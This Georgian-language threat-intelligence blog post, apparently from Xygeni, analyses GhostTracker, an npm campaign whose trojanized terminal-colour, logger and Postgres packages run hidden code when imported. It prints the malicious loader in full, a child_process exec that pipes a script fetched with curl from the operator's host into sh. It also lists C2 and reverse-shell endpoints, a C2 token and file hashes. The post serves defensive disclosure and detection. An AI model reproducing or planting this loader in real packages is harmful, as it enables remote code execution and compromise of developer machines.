GhostTracker: npm ტროას რებრენდინგი 74 წუთში — იგივე C2

GhostTracker: npm ტროიანი, რომელმაც გადაკეთებიდან რამდენიმე საათში შეიცვალა ბრენდინგი — და შეინარჩუნა იგივე C2

TL; DR

გამოქვეყნდა ერთი npm ოპერატორი ხუთი ტროიანიზებული პაკეტი სამ დღეში ორ რაუნდში. პაკეტები წარმოადგენენ პაწაწინა terminal-color, logger და Postgres-client უტილიტებს. მავნე კოდი მუშაობს პაკეტის იმპორტის მომენტში — ინსტალაციის სკრიპტი არ არის დასაჭერად.

პირველი რაუნდი (neon-terminal, neon-postgres, ne-logger) გამოქვეყნება გაუქმდა 2026-07-05, 14:14 UTC საათზე. სამოცდათოთხმეტი წუთის შემდეგ იმავე ანგარიშმა ხელახლა გამოაქვეყნა იგივე ტროიანი ახალი სახელებით (agn-terminal, agn-logger) — და მიმართა ის იგივე ბრძანებისა და კონტროლის საბოლოო წერტილი ადრე იყენებდა: tracker.bvgroup.co.

ეს C2 ჰოსტი ერთადერთი ინდიკატორია, რომელიც გადარქმევის შემდეგაც კი გადარჩება და დამცველისთვის ყველაზე სწრაფი საძიებოა. სიმძიმე: მაღალიეკოსისტემა: npmმეორე რაუნდის პაკეტები წერის მომენტისთვის ჯერ კიდევ აქტიური იყო.

შეტევა: როგორ მუშაობს ის

პაკეტები ფუნქციური სატყუარებია. გახსენით აგნ-ტერმინალი და თქვენ იპოვით სრულ, მოქმედ ANSI ფერის დამხმარეს — კოდები, მხარს უჭერს ფერს, მოფერადება, ხატავს — ტიპებითა და README-ით. სასარგებლო კოდი მუშაობს. შეყვანის მოდულის ზედა ნაწილში, სასარგებლო კოდის ზემოთ, მიმაგრებულია რამდენიმე ხაზი, რომლებიც იმპორტის დროს მუშაობს.

// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";

const child = exec(
  "curl -fsSL https://remote.agyn.org/remote.sh | " +
  "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
  {}, (error, stdout, stderr) => {},
);

სამი რამ ხდის ამას ეფექტურს.

  • ის იმპორტის დროს ირთვება და არა ინსტალაციის დროს. პაკეტი აცხადებს, რომ არა წინასწარი ინსტალაცია or პოსტინსტალაცია კაუჭი — სკანერებისა და რეცენზენტების მიერ შესწავლის ჩვეულებრივი ადგილი. აღმასრულებელი გამოძახება მოდულის დონის კოდია. ის პირველივე ჯერზე სრულდება, როცა რამე ხდება. საჭიროება („agn-ტერმინალი“) or იმპორტი „agn-ტერმინალი“, დეველოპერის მანქანაზე ან CI-ის შიგნით. ორივე ESM ჩანაწერი (src/index.js) და CommonJS ჩანაწერი (cjs/src/index.js) იდენტურ დატვირთვას ატარებენ, ამიტომ ორივე მოდულის სისტემა დაფარულია.
  • რეალური ტვირთი შეფუთვის გარეთ რჩება. პაკეტი იგზავნება მხოლოდ ერთხაზიანი სტეიჯერით: fetch remote.agyn.org/remote.sh` და გადაიტანეთ sh`. რასაც ოპერატორი ემსახურება ამ URL-დან მოთხოვნის დროს, ის ასრულებს. C2 საბოლოო წერტილი გადაეცემა გადმოწერილ სკრიპტს შემდეგი გზით: TRACKER_REMOTE_ENDPOINT გარემოს ცვლადი, ამიტომ მეორე ეტაპის სკრიპტი მთავარ მისამართზეა მითითებული tracker.bvgroup.co.
  • გადამზიდავი პაკეტი აფართოებს აფეთქების რადიუსს. agn-ლოგერი მეორე სატყუარაა — „პატარა გლობალური ლოგერი“. მას საკუთარი დატვირთვა არ გააჩნია. მისი შესვლის მოდული ერთ მნიშვნელოვან ფუნქციას ასრულებს:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');

ის აცხადებს აგნ-ტერმინალი როგორც დამოკიდებულება და იმპორტირებს მას. ლოგერის ინსტალაცია ან იმპორტირება ტერმინალის პაკეტს ტრანზიტულად იზიდავს და ააქტიურებს. პროექტი, რომელიც არასდროს ასახელებს ტროას პირდაპირ, მაინც შეუძლია მისი შესრულება ლოგერის მეშვეობით.

რა არის ახალი აქ?

პირველ რაუნდში დისტანციური სტაიჯერი არ გამოიყენებოდა. ის აგზავნიდა დატვირთვას ხაზში და ვერსიიდან ვერსიამდე ზრდიდა მას — ერთ ვერსიაში გამოყენებული იყო უკუ შელი. net.Socket საპირისპირო გარსი შემდეგში, ა git დამატება/commit/ბიძგი მსხვერპლის სამუშაო დირექტორიის სხვაში და ბოლოს სრული HTTP ბრძანებისა და კონტროლის აგენტი ნეონის ტერმინალი 0.9.0, რომელმაც დაარეგისტრირა ჰოსტი, გამოკითხა ამოცანები, გაუშვა ისინი exec ()და base64-კოდირებული გამომავალი უკან გადაიტანა. მეორე რაუნდი ამ ყველაფერს ერთში აერთიანებს დახვევა | შ, მეორე ეტაპის რეესტრიდან სრულიად ამოღება. იგივე ოპერატორი, უფრო ჩუმი პაკეტი, უფრო მოქნილი დატვირთვა — და რაც მთავარია, იგივე C2, რაც ადრე.

Timeline

თარიღი (UTC)თარიღის
2026-07-03 07:03პირველი რაუნდი გამოქვეყნდა: neon-terminal (0.1.0 სუფთა, შემდეგ 0.2.0–0.9.0 მავნე), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05neon-terminal რეალურ დროში სკანირებისას მონიშნულია
2026-07-04დადასტურებულია მავნე მოქმედება; კორელაცია ავლენს ორ დაძმობილებულ პაკეტს; პირველი წაშლის მცდელობებია შეტანილი
2026-07-05 14:14პირველი რაუნდი გამოუქვეყნებელია — ყველა რვა neon-terminal ვერსიები და და-ძმები ამოღებულია
2026-07-05 15:28agn-terminal 0.1.0 გამოქვეყნებული
2026-07-05 15:29agn-logger 0.1.0 გამოქვეყნდა — ახალი ტერმინალის პაკეტის ოპერატორი
2026-07-05 (მიმდინარე)მეორე რაუნდის პაკეტები წერის მომენტისთვის ხელმისაწვდომია

ორი რაუნდი სამი დღის ინტერვალით ტარდება და წაშლასა და ხელახლა გაშვებას შორის ინტერვალი 74 წუთი იყო. კამპანია გახსნილია: აგნ-* პაკეტები არ იყო წაშლილი ამის დაწერის დროს.

კომპრომისის ინდიკატორები

პაკეტის სახელების მოსაძებნად მოძებნეთ დაბლოკვის ფაილები და დამოკიდებულების ხეები. მოძებნეთ პროქსი, DNS და ედრ ქსელის ბოლო წერტილების ჟურნალები. C2 ჰოსტი tracker.bvgroup.co მოიცავს ორივე რაუნდს და წარმოადგენს ყველაზე მაღალი ღირებულების ერთ ინდიკატორს.

პაკეტები

პაკეტივერსიებიროლისტატუსი
neon-terminal0.2.0–0.9.0ტროიანი (ჩართული დატვირთვები → HTTP C2)გამოუქვეყნებელი
neon-postgres3.5.2ტროიანი (დატვირთვა src/errors.js)გამოუქვეყნებელი
ne-logger0.7.0გადამზიდავი (დამოკიდებულია neon-terminal)გამოუქვეყნებელი
agn-terminal0.1.0ტროიანი (curl | sh სცენარისტი)ცხოვრება
agn-logger0.1.0გადამზიდავი (დამოკიდებულია agn-terminal)ცხოვრება

ნეონის ტერმინალი 0.1.0 იყო სუფთა საწყისი ვერსია — მოქმედი ფერების ბიბლიოთეკა დატვირთვის გარეშე — რომელიც გამოქვეყნდა პაკეტის დასაყენებლად, სანამ მავნე ვერსიები გამოჩნდებოდა.

ქსელი

ინდიკატორიკონტექსტი
tracker.bvgroup.co/remote/…HTTP C2, ორივე რაუნდი (მეორე რაუნდის ტოკენი t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.shრაუნდ-მეორე ეტაპი-პირველი დამტვირთველი
reverse.bvgroup.co:443ერთი მრგვალი უკუ-გარსი ბოლო წერტილი (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754მრგვალი ერთი საპირისპირო გარსი (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852მრგვალი ერთი საპირისპირო გარსი (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.ioოპერატორის მიერ კონტროლირებადი დომენები

ქცევა

  • მოდულის დონე child_process.exec უტილიტის პაკეტის შესვლის ფაილის ზედა ნაწილში, ორივეში src/index.js (ESM) და cjs/src/index.js (CJS).
  • A curl -fsSL … | sh ერთხაზიანი C2-ით გავლილი TRACKER_REMOTE_ENDPOINT გარემოს ცვლადი.
  • მეორე „სასარგებლო“ პაკეტი, რომელიც პირველს დამოკიდებულებად აცხადებს და იმპორტირებს მას, საკუთარი დატვირთვის გარეშე.
  • ნარჩენები // ნეონის ტერმინალი კომენტარი ზედა ნაწილში აგნ-ტერმინალი — კოპირებული-ჩასმული არტეფაქტი, რომელიც რებრენდინგს ორიგინალთან აკავშირებს.

ფაილის ჰეშები (SHA-256, მეორე რაუნდი)

  • აგნ-ტერმინალი src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • აგნ-ტერმინალი cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-ლოგერი src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

ატრიბუცია და დაკვირვებული ქცევა

ყველა პაკეტი ერთ npm ანგარიშზე მიდის, ვიტალიი-აგინი, გამოქვეყნება დაუდასტურებელი ელ. ფოსტით vitalii@agyn.ioანგარიშის საკუთარი რეესტრის მეტამონაცემებში ჩამოთვლილია სამივე რაუნდ-პირველი პაკეტი, რომლებიც მის მიერ არის შენახული. ინფრასტრუქტურა აკავშირებს რაუნდებს ერთმანეთთან: დომენი agyn.org ემთხვევა გამომცემლის მიერ შექმნილ agyn.io ელ.ფოსტის დომენი და C2 ჰოსტი tracker.bvgroup.co ორივეში ჩანს ნეონის ტერმინალი 0.9.0 და აგნ-ტერმინალი 0.1.0 — იგივე კოლექციონერის გზა, სიტყვასიტყვით გამოყენებული სახელის შეცვლის შემდეგ.

ჩვენ აღვწერთ არტეფაქტების მიერ გამოსახულებებს და ამით ვჩერდებით. გამომცემლის მიერ მითითებული ელ. ფოსტაა vitalii@agyn.io; ჩვენ არ დაგვიდასტურებია ამ მისამართის საკუთრება და არ ვაკუთვნებთ ანგარიშს რომელიმე დასახელებულ პირს ან ჯგუფს. ერთი C2 საბოლოო წერტილის ხელახალი გამოყენება ორ პაკეტურ ოჯახში არის ერთი და იგივე ოპერატორის ძლიერი სიგნალი და არა იდენტობა.

პირველი რაუნდის პაკეტები ბრენდთან სიახლოვეს იყო დაფუძნებული. ნეონ-პოსტგრესი იყო პორსაჯერის ფართოდ გამოყენებული მოდელის სრული კლონი postgres.js კლიენტი, სლოგანი და ყველაფერი, დატვირთული დატვირთვით src/errors.js ასე რომ, რუტინული იმპორტის გზა მიაღწევდა მას — და ნეონი- პრეფიქსი Neon-ის, სერვერის გარეშე მომუშავე Postgres პროვაიდერის, ცნობადობას ნასესხებია. მეორე რაუნდის სახელწოდებებში იმიტაცია აღარ გამოიყენებოდა და ზოგადი გახდა (აგნ-ტერმინალი, agn-ლოგერი), ბრენდის ვაჭრობა დამწვარი სახელებისგან უფრო სუფთა შესვენებისთვის.

 გავლენა, ტენდენციები და დამცველის ხელმძღვანელობა

  • ვინ არის გამომჟღავნებული. ნებისმიერი პირი, რომელიც Unix-ის მსგავს ჰოსტზე დააინსტალირებს და იმპორტს უკეთებს ამ პაკეტებიდან ერთ-ერთს, პირდაპირ ან ოპერატორის მეშვეობით. სტეიჯერი იყენებს curl მდე sh; მრგვალი ერთიანი გარსები იყენებენ Bash მდე /dev/tcpრადგან შესრულება იმპორტის დროს ხდება, საკმარისია აწყობის სერვერი, რომელიც დააინსტალირებს დამოკიდებულებას და გაუშვებს ნებისმიერ კოდს, რომელიც მას ეხება — ინსტალაციის შემდგომი ეტაპი არ არის საჭირო. დეველოპერის სამუშაო სადგურზე ან CI runner-ზე, ჩამოტვირთული მეორე ეტაპი მუშაობს მომხმარებლის პრივილეგიებით და სრული ქსელის დაფარვით.
  • რატომ არის მნიშვნელოვანი იმპორტის დროს შესრულება. მიწოდების ჯაჭვის დაცვა კონცენტრირებულია ინსტალაციის სკრიპტებზე და საფუძვლიანი მიზეზით - პოსტინსტალაცია კლასიკური npm საყრდენია. ეს კამპანია სრულიად გვერდს უვლის ამას. არ არსებობს ინსტალაციის კაუჭი, რომლის მონიშვნაც შესაძლებელია. მავნე კოდი ეს არის ჩვეულებრივი მოდულის ინიციალიზაცია, რომელიც ერთი შეხედვით არ განსხვავდება პაკეტის მიერ ჩატვირთვისას საძიებო ცხრილის გამოთვლისგან. ინსტრუმენტები, რომლებიც მხოლოდ package.json-ში სკრიპტებს ამოწმებენ, ვერაფერს ხედავს.
  • რებრენდინგისა და ხელახალი გამოყენების ტენდენცია. 74-წუთიანი შემობრუნება არის მთელი ამბავი. Takedown-მა წაშალა სახელები, მაგრამ არა ოპერატორი, ინფრასტრუქტურა ან კოდი. ერთ საათში კამპანია კვლავ ამოქმედდა ახალი სახელებით, რომლებიც იმავე C2-ზე მიუთითებდნენ. სახელზე დაფუძნებული ბლოკირება — denylisting neon-terminal — უკვე მოძველებული იქნებოდა. ინფრასტრუქტურაზე დაფუძნებული ბლოკირება — denylisting bvgroup.co — გამოჩენისთანავე მეორე რაუნდში აღმოჩნდებოდა. აქტიური ოპერატორისთვის, რომელიც რეესტრების მიერ წაშლაზე სწრაფად აქვეყნებს ხელახლა, გამძლეობის მაჩვენებელი ქსელის საბოლოო წერტილია და არა პაკეტის სახელი.

რა უნდა გავაკეთოთ ახლა

  • Grep lockfiles და დაინსტალირებული ხეები ზემოთ ჩამოთვლილი ხუთივე პაკეტის სახელისთვის. ნებისმიერი დამთხვევა ჩათვალეთ კომპრომეტირებულ ჰოსტად და შეცვალეთ მისგან ხელმისაწვდომი ავტორიზაციის მონაცემები.
  • დომენების დაბლოკვა და გაფრთხილება bvgroup.co, agyn.orgდა ngrok-ის ბოლო წერტილები DNS-სა და გასვლის ფილტრაციაში. tracker.bvgroup.co პრიორიტეტია.
  • ნუ დაეყრდნობით მხოლოდ ინსტალაციის კაუჭის სკანირებას. დაამატეთ ამოცნობა მოდულის დონეზე შვილობილი_პროცესი და ქსელური ზარები დამოკიდებულებებში და დახვევა … | შ პაკეტის წყაროში არსებული შაბლონები.
  • კიდევ ერთხელ გასათვალისწინებლად ღირს ისეთი უტილიტის პაკეტი, რომელიც სხვა გაურკვეველ უტილიტას თავის ერთადერთ დამოკიდებულებად აცხადებს და ჩატვირთვისას მას იმპორტს უკეთებს.
  • CI-ში, უპირატესობა ენიჭება –იგნორირების სკრიპტები სადაც პრაქტიკულია, მაგრამ გაითვალისწინეთ, რომ ეს აქ არ დაგეხმარებათ — დატვირთვა იმპორტის დროს მუშაობს, ამიტომ გაშვების დროს გასვლის კონტროლი და დამოკიდებულების მიმოხილვა უფრო მნიშვნელოვანია.

ლიტერატურა

sca-tools-software-composition-analysis-tools
თქვენი პროგრამული უზრუნველყოფის რისკების პრიორიტეტიზაცია, გამოსწორება და დაცვა
მიიღეთ თქვენი უფასო ანგარიში.
საკრედიტო ბარათი არ არის საჭირო.

უზრუნველყავით თქვენი პროგრამული უზრუნველყოფის შემუშავება და მიწოდება

Xygeni Product Suite-თან ერთად